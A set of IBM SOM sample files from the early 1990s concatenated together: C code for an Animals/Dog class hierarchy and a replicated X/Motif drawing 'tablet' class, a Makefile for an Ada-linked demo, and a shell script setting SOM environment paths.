* "AS IS". IBM MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
* NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE, REGARDING THE FUNCTION OR PERFORMANCE OF
* THIS CODE. IBM shall not be liable for any damages arising out of
* your use of the sample code, even if they have been advised of the
* possibility of such damages.
*
* DISTRIBUTION.
* This sample code can be freely distributed, copied, altered, and
* incorporated into other software, provided that it bears the above
* Copyright notice and DISCLAIMER intact.
*/
#define SOM_Module_animals_Source
#include <animals.ih>
#include <animals.ih>
#define BUFFER_INCREMENT_COUNT 20
#define BUFFER_INCREMENT_SIZE (BUFFER_INCREMENT_COUNT*sizeof(Animals_Animal*))
/*
* The name of the animal.
*/
/*
* SOM_Scope void SOMLINK a__set_name (Animals_Animal somSelf, Environment *ev,
* string myName)
*/
/*
* The prototype for a__set_name was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a__set_name(Animals_Animal *somSelf,
* Environment *ev, string myName)
*/
/*
* The prototype for a__set_name was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a__set_name(Animals_Animal somSelf, Environment *ev,
string myName)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a__set_name");
if (_name)
SOMFree(_name);
if (myName) {
_name = (string) SOMMalloc(strlen(myName) + 1);
strcpy(_name, myName);
} else
_name = (string) NULL;
}
/*
* The kind of sound that an animal makes.
*/
/*
* SOM_Scope void SOMLINK a__set_sound (Animals_Animal somSelf, Environment *ev,
* string mySound)
*/
/*
* The prototype for a__set_sound was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a__set_sound(Animals_Animal *somSelf,
* Environment *ev, string mySound)
*/
/*
* The prototype for a__set_sound was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a__set_sound(Animals_Animal somSelf,
Environment *ev, string mySound)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a__set_sound");
if (_sound)
SOMFree(_sound);
if (mySound) {
_sound = (string) SOMMalloc(strlen(mySound) + 1);
strcpy(_sound, mySound);
} else
_sound = (string) NULL;
}
/*
* The genus of animal.
* The "_get_" method for this attribute should be overridden
* by derived classes. The default version here just gives
* "<unknown>" as the genus.
*/
/*
* SOM_Scope string SOMLINK a__get_genus(Animals_Animal somSelf, Environment *ev)
*/
/*
* The prototype for a__get_genus was replaced by the following prototype:
*/
/*
* SOM_Scope string SOMLINK a__get_genus(Animals_Animal *somSelf,
* Environment *ev)
*/
/*
* The prototype for a__get_genus was replaced by the following prototype:
*/
SOM_Scope string SOMLINK a__get_genus(Animals_Animal somSelf,
Environment *ev)
{
Animals_AnimalMethodDebug("Animals_Animal","a__get_genus");
return ("<Unknown>");
}
/*
* The species of animal.
* The "_get" method for this attribute should be overridden
* by derived classes. The default version here just gives
* "<unknown>" as the species.
*/
/*
* SOM_Scope string SOMLINK a__get_species(Animals_Animal somSelf, Environment *ev)
*/
/*
* The prototype for a__get_species was replaced by the following prototype:
*/
/*
* SOM_Scope string SOMLINK a__get_species(Animals_Animal *somSelf,
* Environment *ev)
*/
/*
* The prototype for a__get_species was replaced by the following prototype:
*/
SOM_Scope string SOMLINK a__get_species(Animals_Animal somSelf,
Environment *ev)
{
Animals_AnimalMethodDebug("Animals_Animal","a__get_species");
return ("<Unknown>");
}
/*
* Ask the animal to talk. Normally this just prints out the
* string corresponding to the sound attribute, but it can be
* overridden to do something else.
*/
/*
* SOM_Scope void SOMLINK a_talk(Animals_Animal somSelf, Environment *ev)
*/
/*
* The prototype for a_talk was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_talk(Animals_Animal *somSelf, Environment *ev)
*/
/*
* The prototype for a_talk was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_talk(Animals_Animal somSelf, Environment *ev)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a_talk");
somPrintf("\t%s\n", _sound ? _sound : "<Unknown>");
}
/*
* Displays an animal. Derived classes should override this to
* display new derived information, and then call their parent
* version. Note: this method makes use of talk() to describe what
* the animal says.
*/
/*
* SOM_Scope void SOMLINK a_display(Animals_Animal somSelf, Environment *ev)
*/
/*
* The prototype for a_display was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_display(Animals_Animal *somSelf, Environment *ev)
*/
/*
* The prototype for a_display was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_display(Animals_Animal somSelf, Environment *ev)
{
Animals_AnimalMethodDebug("Animals_Animal","a_display");
somPrintf ("\nThe animal named %s", Animals_Animal__get_name (somSelf, ev));
somPrintf (" (Genus: %s,", Animals_Animal__get_genus (somSelf, ev));
somPrintf (" Species: %s) says:\n", Animals_Animal__get_species (somSelf,
ev));
Animals_Animal_talk (somSelf, ev);
}
/*
* SOM_Scope void SOMLINK a_somFree(Animals_Animal somSelf)
*/
/*
* The prototype for a_somFree was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_somFree(Animals_Animal *somSelf)
*/
/*
* The prototype for a_somFree was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_somFree(Animals_Animal somSelf)
{
Environment *ev = somGetGlobalEnvironment ();
Animals_AnimalMethodDebug("Animals_Animal","a_somFree");
/* Reduce the animal population */
Animals_M_Animal_deleteInstance (_Animals_Animal, ev, somSelf);
Animals_Animal_parent_SOMObject_somFree (somSelf);
}
/*
* SOM_Scope void SOMLINK a_somInit(Animals_Animal somSelf)
*/
/*
* The prototype for a_somInit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_somInit(Animals_Animal *somSelf)
*/
/*
* The prototype for a_somInit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_somInit(Animals_Animal somSelf)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a_somInit");
Animals_Animal_parent_SOMObject_somInit (somSelf);
_sound = (string) NULL;
}
/*
* SOM_Scope void SOMLINK a_somUninit(Animals_Animal somSelf)
*/
/*
* The prototype for a_somUninit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_somUninit(Animals_Animal *somSelf)
*/
/*
* The prototype for a_somUninit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_somUninit(Animals_Animal somSelf)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a_somUninit");
if (_sound)
SOMFree (_sound);
Animals_Animal_parent_SOMObject_somUninit (somSelf);
}
/*
* SOM_Scope void SOMLINK a_somDumpSelfInt(Animals_Animal somSelf,
* long level)
*/
/*
* The prototype for a_somDumpSelfInt was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK a_somDumpSelfInt(Animals_Animal *somSelf,
* long level)
*/
/*
* The prototype for a_somDumpSelfInt was replaced by the following prototype:
*/
SOM_Scope void SOMLINK a_somDumpSelfInt(Animals_Animal somSelf,
long level)
{
Animals_AnimalData *somThis = Animals_AnimalGetData(somSelf);
Animals_AnimalMethodDebug("Animals_Animal","a_somDumpSelfInt");
Animals_Animal_display (somSelf, somGetGlobalEnvironment());
Animals_Animal_parent_SOMObject_somDumpSelfInt (somSelf, level);
}
/*
* Create an instance of an Animals_Animal with a specific sound.
*/
/*
* Create an instance of an Animal with a specific sound.
*/
/*
* SOM_Scope Animals_Animal SOMLINK ma_newAnimal (Animals_M_Animal somSelf,
* Environment *ev, string name, string sound)
*/
/*
* The prototype for ma_newAnimal was replaced by the following prototype:
*/
/*
* SOM_Scope Animals_Animal* SOMLINK ma_newAnimal(Animals_M_Animal *somSelf,
* Environment *ev,
* string name,
* string sound)
*/
/*
* The prototype for ma_newAnimal was replaced by the following prototype:
*/
SOM_Scope Animals_Animal SOMLINK ma_newAnimal(Animals_M_Animal somSelf,
Environment *ev,
string name, string sound)
{
Animals_Animal animal;
Animals_M_AnimalData *somThis = Animals_M_AnimalGetData(somSelf);
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_newAnimal");
animal = (Animals_Animal)
Animals_M_Animal_parent_SOMClass_somNew (somSelf);
/* Bump animal population */
/* _Animals_Animal, not somSelf! */
Animals_M_Animal_addInstance (_Animals_Animal, ev, animal);
Animals_Animal__set_name (animal, ev, name);
Animals_Animal__set_sound (animal, ev, sound);
return (animal);
}
/*
* Used to add an new instance to the instances sequence.
*/
/*
* SOM_Scope void SOMLINK ma_addInstance (Animals_M_Animal somSelf,
* Environment *ev, Animals_Animal obj)
*/
/*
* The prototype for ma_addInstance was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK ma_addInstance(Animals_M_Animal *somSelf,
* Environment *ev, Animals_Animal* obj)
*/
/*
* The prototype for ma_addInstance was replaced by the following prototype:
*/
SOM_Scope void SOMLINK ma_addInstance(Animals_M_Animal somSelf,
Environment *ev, Animals_Animal obj)
{
int i;
Animals_Animal *newbuf;
Animals_M_AnimalData *somThis = Animals_M_AnimalGetData(somSelf);
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_addInstance");
if (_instances._length < _instances._maximum)
_instances._buffer[_instances._length++] = obj;
else {
_instances._maximum += BUFFER_INCREMENT_COUNT;
if (newbuf = (Animals_Animal *) SOMRealloc (_instances._buffer,
BUFFER_INCREMENT_SIZE)) {
_instances._buffer = newbuf;
_instances._buffer[_instances._length++] = obj;
}
}
}
/*
* Used to remove an instance from the instances sequence.
*/
/*
* SOM_Scope void SOMLINK ma_deleteInstance (Animals_M_Animal somSelf,
* Environment *ev, Animals_Animal obj)
*/
/*
* The prototype for ma_deleteInstance was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK ma_deleteInstance(Animals_M_Animal *somSelf,
* Environment *ev, Animals_Animal* obj)
*/
/*
* The prototype for ma_deleteInstance was replaced by the following prototype:
*/
SOM_Scope void SOMLINK ma_deleteInstance(Animals_M_Animal somSelf,
Environment *ev, Animals_Animal obj)
{
int i;
Animals_M_AnimalData *somThis = Animals_M_AnimalGetData(somSelf);
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_deleteInstance");
for (i=0; i<_instances._length; i++) {
if (obj == _instances._buffer[i]) {
_instances._buffer[i] = _instances._buffer[--_instances._length];
break;
}
}
}
/*
* SOM_Scope SOMObject SOMLINK ma_somNew(Animals_M_Animal somSelf)
*/
/*
* The prototype for ma_somNew was replaced by the following prototype:
*/
/*
* SOM_Scope SOMObject* SOMLINK ma_somNew(Animals_M_Animal *somSelf)
*/
/*
* The prototype for ma_somNew was replaced by the following prototype:
*/
SOM_Scope SOMObject SOMLINK ma_somNew(Animals_M_Animal somSelf)
{
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_somNew");
return Animals_M_Animal_newAnimal (somSelf, somGetGlobalEnvironment (),
"<Unnamed>", (string) NULL);
}
/*
* SOM_Scope void SOMLINK ma_somInit(Animals_M_Animal somSelf)
*/
/*
* The prototype for ma_somInit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK ma_somInit(Animals_M_Animal *somSelf)
*/
/*
* The prototype for ma_somInit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK ma_somInit(Animals_M_Animal somSelf)
{
Animals_M_AnimalData *somThis = Animals_M_AnimalGetData(somSelf);
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_somInit");
_instances._buffer = (Animals_Animal *) SOMMalloc (BUFFER_INCREMENT_SIZE);
_instances._maximum = BUFFER_INCREMENT_COUNT;
_instances._length = 0;
Animals_M_Animal_parent_SOMClass_somInit (somSelf);
}
/*
* SOM_Scope void SOMLINK ma_somUninit(Animals_M_Animal somSelf)
*/
/*
* The prototype for ma_somUninit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK ma_somUninit(Animals_M_Animal *somSelf)
*/
/*
* The prototype for ma_somUninit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK ma_somUninit(Animals_M_Animal somSelf)
{
Animals_M_AnimalData *somThis = Animals_M_AnimalGetData(somSelf);
Animals_M_AnimalMethodDebug("Animals_M_Animal","ma_somUninit");
if (_instances._buffer)
SOMFree (_instances._buffer);
_instances._length = _instances._maximum = 0;
Animals_M_Animal_parent_SOMClass_somInit (somSelf);
}
/*
* The breed of this Dog.
*/
/*
* SOM_Scope void SOMLINK d__set_breed (Animals_Dog somSelf, Environment *ev,
* string myBreed)
*/
/*
* The prototype for d__set_breed was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d__set_breed(Animals_Dog *somSelf, Environment *ev,
* string myBreed)
*/
/*
* The prototype for d__set_breed was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d__set_breed(Animals_Dog somSelf, Environment *ev,
string myBreed)
{
Animals_DogData *somThis = Animals_DogGetData(somSelf);
Animals_DogMethodDebug("Animals_Dog","d__set_breed");
if (_breed)
SOMFree (_breed);
if (myBreed) {
_breed = (string) SOMMalloc (strlen (myBreed) + 1);
strcpy (_breed, myBreed);
} else
_breed = (string) NULL;
}
/*
* The color of this Dog.
*/
/*
* SOM_Scope void SOMLINK d__set_color (Animals_Dog somSelf, Environment *ev,
* string myColor)
*/
/*
* The prototype for d__set_color was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d__set_color(Animals_Dog *somSelf, Environment *ev,
* string myColor)
*/
/*
* The prototype for d__set_color was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d__set_color(Animals_Dog somSelf, Environment *ev,
string myColor)
{
Animals_DogData *somThis = Animals_DogGetData(somSelf);
Animals_DogMethodDebug("Animals_Dog","d__set_color");
if (_color)
SOMFree (_color);
if (myColor) {
_color = (string) SOMMalloc (strlen (myColor) + 1);
strcpy (_color, myColor);
} else
_color = (string) NULL;
}
/*
* SOM_Scope string SOMLINK d__get_genus (Animals_Dog somSelf, Environment *ev)
*/
/*
* The prototype for d__get_genus was replaced by the following prototype:
*/
/*
* SOM_Scope string SOMLINK d__get_genus(Animals_Dog *somSelf,
* Environment *ev)
*/
/*
* The prototype for d__get_genus was replaced by the following prototype:
*/
SOM_Scope string SOMLINK d__get_genus(Animals_Dog somSelf, Environment *ev)
{
Animals_DogMethodDebug("Animals_Dog","d__get_genus");
return ("Canis");
}
/*
* SOM_Scope string SOMLINK d__get_species (Animals_Dog somSelf, Environment *ev)
*/
/*
* The prototype for d__get_species was replaced by the following prototype:
*/
/*
* SOM_Scope string SOMLINK d__get_species(Animals_Dog *somSelf,
* Environment *ev)
*/
/*
* The prototype for d__get_species was replaced by the following prototype:
*/
SOM_Scope string SOMLINK d__get_species(Animals_Dog somSelf,
Environment *ev)
{
Animals_DogMethodDebug("Animals_Dog","d__get_species");
return ("Familiaris");
}
/*
* SOM_Scope void SOMLINK d_display (Animals_Dog somSelf, Environment *ev)
*/
/*
* The prototype for d_display was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d_display(Animals_Dog *somSelf, Environment *ev)
*/
/*
* The prototype for d_display was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d_display(Animals_Dog somSelf, Environment *ev)
{
Animals_DogMethodDebug("Animals_Dog","d_display");
Animals_Dog_parent_Animals_Animal_display (somSelf, ev);
somPrintf("Its breed is %s", __get_breed (somSelf, ev));
somPrintf(" and its color is %s.\n", __get_color (somSelf, ev));
}
/*
* SOM_Scope void SOMLINK d_somInit(Animals_Dog somSelf)
*/
/*
* The prototype for d_somInit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d_somInit(Animals_Dog *somSelf)
*/
/*
* The prototype for d_somInit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d_somInit(Animals_Dog somSelf)
{
Animals_DogData *somThis = Animals_DogGetData(somSelf);
Animals_DogMethodDebug("Animals_Dog","d_somInit");
Animals_Dog_parent_Animals_Animal_somInit (somSelf);
_color = (string) NULL;
_breed = (string) NULL;
}
/*
* SOM_Scope void SOMLINK d_somUninit(Animals_Dog somSelf)
*/
/*
* The prototype for d_somUninit was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d_somUninit(Animals_Dog *somSelf)
*/
/*
* The prototype for d_somUninit was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d_somUninit(Animals_Dog somSelf)
{
Animals_DogData *somThis = Animals_DogGetData(somSelf);
Animals_DogMethodDebug("Animals_Dog","d_somUninit");
if (_color)
SOMFree(_color);
if (_breed)
SOMFree(_breed);
Animals_Dog_parent_Animals_Animal_somUninit (somSelf);
}
/*
* SOM_Scope void SOMLINK d_somDumpSelfInt(Animals_Dog somSelf, long level)
*/
/*
* The prototype for d_somDumpSelfInt was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK d_somDumpSelfInt(Animals_Dog *somSelf,
* long level)
*/
/*
* The prototype for d_somDumpSelfInt was replaced by the following prototype:
*/
SOM_Scope void SOMLINK d_somDumpSelfInt(Animals_Dog somSelf,
long level)
{
Animals_DogMethodDebug("Animals_Dog","d_somDumpSelfInt");
Animals_Dog_parent_Animals_Animal_somDumpSelfInt (somSelf, level);
}
/*
* Create an instance of a Animals_Dog with a specific name,
* sound, breed, & color.
*/
/*
* Create an instance of a Dog with a specific name,
* sound, breed, & color.
*/
/*
* SOM_Scope Animals_Dog SOMLINK md_newDog(Animals_Kennel somSelf,
* Environment *ev, string name, string sound, string breed, string color)
*/
/*
* The prototype for md_newDog was replaced by the following prototype:
*/
/*
* SOM_Scope Animals_Dog* SOMLINK md_newDog(Animals_Kennel *somSelf,
* Environment *ev, string name,
* string sound, string breed,
* string color)
*/
/*
* The prototype for md_newDog was replaced by the following prototype:
*/
SOM_Scope Animals_Dog SOMLINK md_newDog(Animals_Kennel somSelf,
Environment *ev, string name,
string sound, string breed,
string color)
{
Animals_KennelData *somThis = Animals_KennelGetData(somSelf);
Animals_Dog dog;
Animals_KennelMethodDebug("Animals_Kennel","md_newDog");
dog = Animals_M_Animal_newAnimal (somSelf, ev, name, sound);
Animals_Dog__set_breed (dog, ev, breed);
Animals_Dog__set_color (dog, ev, color);
return (dog);
}
/*
* SOM_Scope SOMObject SOMLINK md_somNew(Animals_Kennel somSelf)
*/
/*
* The prototype for md_somNew was replaced by the following prototype:
*/
/*
* SOM_Scope SOMObject* SOMLINK md_somNew(Animals_Kennel *somSelf)
*/
/*
* The prototype for md_somNew was replaced by the following prototype:
*/
SOM_Scope SOMObject SOMLINK md_somNew(Animals_Kennel somSelf)
{
Animals_KennelData *somThis = Animals_KennelGetData(somSelf);
Animals_KennelMethodDebug("Animals_Kennel","md_somNew");
return (Animals_Kennel_parent_Animals_M_Animal_somNew (somSelf));
}
/*
* SOM_Scope void SOMLINK bd_talk(Animals_BigDog somSelf, Environment *ev)
*/
/*
* The prototype for bd_talk was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK bd_talk(Animals_BigDog *somSelf, Environment *ev)
*/
/*
* The prototype for bd_talk was replaced by the following prototype:
*/
SOM_Scope void SOMLINK bd_talk(Animals_BigDog somSelf, Environment *ev)
{
string sound;
Animals_BigDogMethodDebug("Animals_BigDog","bd_talk");
somPrintf ("\tWOOF WOOF\n");
somPrintf ("\tWOOF WOOF\n");
somPrintf ("\tWOOF WOOF\n");
somPrintf ("\tWOOF WOOF\n");
if (sound = Animals_Animal__get_sound (somSelf, ev))
somPrintf ("(and sometimes: %s)\n", sound);
}
/*
* SOM_Scope void SOMLINK ld_talk(Animals_LittleDog somSelf, Environment *ev)
*/
/*
* The prototype for ld_talk was replaced by the following prototype:
*/
/*
* SOM_Scope void SOMLINK ld_talk(Animals_LittleDog *somSelf, Environment *ev)
*/
/*
* The prototype for ld_talk was replaced by the following prototype:
*/
SOM_Scope void SOMLINK ld_talk(Animals_LittleDog somSelf, Environment *ev)
{
string sound;
Animals_LittleDogMethodDebug("Animals_LittleDog","ld_talk");
somPrintf ("\twoof woof\n");
somPrintf ("\twoof woof\n");
if (sound = Animals_Animal__get_sound (somSelf, ev))
somPrintf ("(and sometimes: %s)\n", sound);
}
<file_sep>/* @(#) somx/tablet.c 2.2 6/2/93 00:37:19 [6/9/93 16:17:50] */
/*
* 96F8647, 96F8648 (C) Copyright IBM Corp. 1992, 1993
* All Rights Reserved
* Licensed Materials - Property of IBM
*
* DISCLAIMER OF WARRANTIES.
* The following [enclosed] code is sample code created by IBM
* Corporation. This sample code is not part of any standard or IBM
* product and is provided to you solely for the purpose of assisting
* you in the development of your applications. The code is provided
* "AS IS". IBM MAKES NO WARRANTIES, EXPRESS OR IMPLIED, INCLUDING BUT
* NOT LIMITED TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE, REGARDING THE FUNCTION OR PERFORMANCE OF
* THIS CODE. IBM shall not be liable for any damages arising out of
* your use of the sample code, even if they have been advised of the
* possibility of such damages.
*
* DISTRIBUTION.
* This sample code can be freely distributed, copied, altered, and
* incorporated into other software, provided that it bears the above
* Copyright notice and DISCLAIMER intact.
*/
#define tablet_Class_Source
#include "tablet.ih"
#include <somrerrd.h>
Environment *tabletEnv;
/*
*===========================================================================*
* Method: setTablet *
*===========================================================================*
*/
SOM_Scope void SOMLINK setTablet(tablet somSelf,
void* clientDA)
{
GC drawGC;
GC clearGC;
Pixmap drawPixmap;
int n = 0;
Arg args[10];
XGCValues val;
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","setTablet");
_drawarea = clientDA;
n = 0;
XtSetArg (args[n], XmNwidth, &_width); n++;
XtSetArg (args[n], XmNheight, &_height); n++;
XtGetValues ((Widget)_drawarea, args, n);
n = 0;
XtSetArg (args[n], XmNforeground, &val.foreground); n++;
XtSetArg (args[n], XmNbackground, &val.background); n++;
XtGetValues ((Widget)_drawarea, args, n);
val.foreground = val.foreground ^ val.background;
val.function = GXxor;
_xorGC =
XtGetGC (
(Widget)_drawarea,
GCForeground | GCBackground | GCFunction,
&val);
n = 0;
XtSetArg (args[n], XmNforeground, &val.foreground); n++;
XtSetArg (args[n], XmNbackground, &val.background); n++;
XtGetValues ((Widget)_drawarea, args, n);
val.foreground = val.background;
val.function = GXcopy;
_clearGC =
XtGetGC (
(Widget)_drawarea,
GCForeground | GCBackground | GCFunction,
&val);
n = 0;
XtSetArg (args[n], XmNforeground, &val.foreground); n++;
XtSetArg (args[n], XmNbackground, &val.background); n++;
XtGetValues ((Widget)_drawarea, args, n);
val.function = GXcopy;
_copyGC =
XtGetGC (
(Widget)_drawarea,
GCForeground | GCBackground | GCFunction,
&val);
_drawPixmap = (void *)
XCreatePixmap(
XtDisplay((Widget)_drawarea),
RootWindowOfScreen(XtScreen((Widget)_drawarea)),
_width,
_height,
DefaultDepthOfScreen(XtScreen((Widget)_drawarea)));
XFillRectangle(XtDisplay((Widget)_drawarea),
(Widget)_drawPixmap,
(GC)_clearGC,
0, 0, (int) _width, (int) _height);
}
/*
*===========================================================================*
* Method: beginLine *
*===========================================================================*
*/
SOM_Scope void SOMLINK beginLine(tablet somSelf, long x, long y)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","beginLine");
_somrLockNlogOp (somSelf, tabletEnv, "tablet", "beginLine", x, y) ;
if (tabletEnv->_major == NO_EXCEPTION) {
_x1 = x; _y1 = y; _x2 = x; _y2 = y;
_somrReleaseNPropagateOperation (somSelf, tabletEnv);
} /* endif */
}
/*
*===========================================================================*
* Method: drawLine *
*===========================================================================*
*/
SOM_Scope void SOMLINK drawLine(tablet somSelf, long x, long y)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","drawLine");
_somrLockNlogOp (somSelf, tabletEnv, "tablet", "drawLine", x, y);
if (tabletEnv->_major == NO_EXCEPTION) {
_x2 = x; _y2 = y;
XDrawLine (XtDisplay((Widget)_drawarea),
XtWindow((Widget)_drawarea),
(GC)_xorGC,
(int)_x1, (int)_y1, (int)_x2, (int)_y2);
XDrawLine (XtDisplay((Widget)_drawarea),
(Widget)_drawPixmap,
(GC)_xorGC,
(int)_x1, (int)_y1, (int)_x2, (int)_y2);
XDrawPoint (XtDisplay((Widget)_drawarea),
XtWindow((Widget)_drawarea),
(GC)_xorGC,
(int) _x2, (int) _y2);
XDrawPoint (XtDisplay((Widget)_drawarea),
(Widget)_drawPixmap,
(GC)_xorGC,
(int) _x2, (int) _y2);
XFlush (XtDisplay((Widget)_drawarea));
_x1 = _x2; _y1 = _y2;
_somrReleaseNPropagateOperation (somSelf, tabletEnv);
} /* endif */
}
/*
*===========================================================================*
* Method: clearAll *
*===========================================================================*
*/
SOM_Scope void SOMLINK clearAll(tablet somSelf)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","clearAll");
_somrLockNlogOp (somSelf, tabletEnv, "tablet", "clearAll") ;
if (tabletEnv->_major == NO_EXCEPTION) {
XClearWindow (XtDisplay((Widget)_drawarea),
XtWindow((Widget)_drawarea));
XFillRectangle(XtDisplay((Widget)_drawarea),
(Widget)_drawPixmap,
(GC)_clearGC,
0, 0, (int) _width, (int) _height);
XFlush (XtDisplay((Widget)_drawarea));
_somrReleaseNPropagateOperation (somSelf, tabletEnv);
} /* endif */
}
/*
*===========================================================================*
* Method: redraw *
*===========================================================================*
*/
SOM_Scope void SOMLINK redraw(tablet somSelf)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","redraw");
_somrLockNlogOp (somSelf, tabletEnv, "tablet", "redraw") ;
if (tabletEnv->_major == NO_EXCEPTION) {
XCopyArea(XtDisplay((Widget)_drawarea),
(Widget)_drawPixmap,
XtWindow((Widget)_drawarea),
(GC)_copyGC,
0, 0, (int) _width, (int) _height, 0, 0);
XFlush (XtDisplay((Widget)_drawarea));
_somrReleaseLockNAbortOp (somSelf, tabletEnv);
} /* endif */
}
/*
*===========================================================================*
* Method: somrApplyUpdates *
*===========================================================================*
*/
SOM_Scope void SOMLINK somrApplyUpdates(tablet somSelf, Environment *ev,
string buf,
long len,
long ObjIntId)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","somrApplyUpdates");
tablet_parent_SOMRReplicbl_somrApplyUpdates(somSelf,ev,buf,len,ObjIntId);
}
/*
*===========================================================================*
* Method: somrDoDirective *
*===========================================================================*
*/
SOM_Scope void SOMLINK somrDoDirective(tablet somSelf, Environment *ev,
string str)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","somrDoDirective");
tablet_parent_SOMRReplicbl_somrDoDirective(somSelf,ev,str);
}
/*
*===========================================================================*
* Method: somrGetState *
*===========================================================================*
*/
SOM_Scope void SOMLINK somrGetState(tablet somSelf, Environment *ev,
string* buf)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","somrGetState");
/* tablet_parent_SOMRReplicbl_somrGetState(somSelf,ev,buf); */
}
/*
*===========================================================================*
* Method: somrSetState *
*===========================================================================*
*/
SOM_Scope void SOMLINK somrSetState(tablet somSelf, Environment *ev,
string buf)
{
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","somrSetState");
/* tablet_parent_SOMRReplicbl_somrSetState(somSelf,ev,buf);*/
}
/*
*===========================================================================*
* Method: somInit *
* somInit is overriden to incorporate initialization of the Replication *
* Framework. *
*===========================================================================*
*/
SOM_Scope void SOMLINK somInit(tablet somSelf)
{
char *strname = "Tablet";
tabletData *somThis = tabletGetData(somSelf);
tabletMethodDebug("tablet","somInit");
parent_somInit(somSelf);
tabletEnv = somGetGlobalEnvironment();
_somrSetObjName (somSelf, tabletEnv, strname);
_somrRepInit (somSelf, tabletEnv, 'o', 'w');
}
<file_sep># Makefile for: replication framework sample program "repdraw"
#==============================================================================#
# NOTES: #
# The interface repository (defined by the SOMIR environment variable) will #
# be updated with Tablet class interface information. #
# #
# Ensure that SOMIR is set correctly before making this program!!!! #
# #
# The SOMBASE environment variable must be set to the directory containing #
# your SOM installation . Also, SOMBASE/bin must be in your PATH. #
# #
# Ensure that SOMBASE is set correctly in your environment before making #
# this program!!! #
# #
# The Ada library must be preinitialized. It must include the following: #
# - a working sublibrary #
# - a SOM runtime library #
# - the SERC bindings libraries #
# The versions of the sublibraries must be compatible. #
# #
#==============================================================================#
OBJS = tablet.o
TARGET = repdraw
CLEANFILES = tablet.h tablet.ih tablet.ada Tablet.scf som.ir *~ ada_compiled
SCFLAGS = -D__PRIVATE__ -sh:ih -u
CC = cc
SC = sc
CFLAGS = -g -D_ALL_SOURCE
LINKER = cc
LDFLAGS = -g
LIBDIRPATH = -L$(SOMBASE)/lib
INCLUDEPATH = -I. -I$(SOMBASE)/include -I/usr/include/Motif1.2 -I/usr/lpp/X11/include
LIBLIST = -lXm -lX11 -lXt -lIM -lsomtk
all: $(TARGET)
.SUFFIXES: .c .ih .idl .o .ada
.c.o:
$(CC) $(INCLUDEPATH) $(CFLAGS) -c $<
.idl.ih:
$(SC) $(SCFLAGS) $<
.idl.ada:
alibinit -F
$(SC) -sada $<
ada_compiled: tablet.ada repdraw.ada
ada -v tablet.ada
ada -v repdraw.ada
touch ada_compiled
$(TARGET): $(OBJS) ada_compiled
ada -o repdraw -vb repdraw -i tablet.o -i /usr/lib/libXm.a
clean:
rm -rf *.o core *.ih $(TARGET) $(CLEANFILES) adalib
tablet.ih: tablet.idl
tablet.o: tablet.c tablet.ih
tablet.h: tablet.ih
<file_sep>rm -f TESTOBJ.scf
. /usr/lpp/som/bin/somenv.sh
. /usr/lpp/som/samples/somr/somrenv.sh
export LIBPATH=$POWERADA/lib:$LIBPATH:/usr/lib
export SMINCLUDE=$POWERADA/lib:$SMINCLUDE
export SOMIR="/usr/lpp/som/etc/som.ir:./som.ir"
menudemo
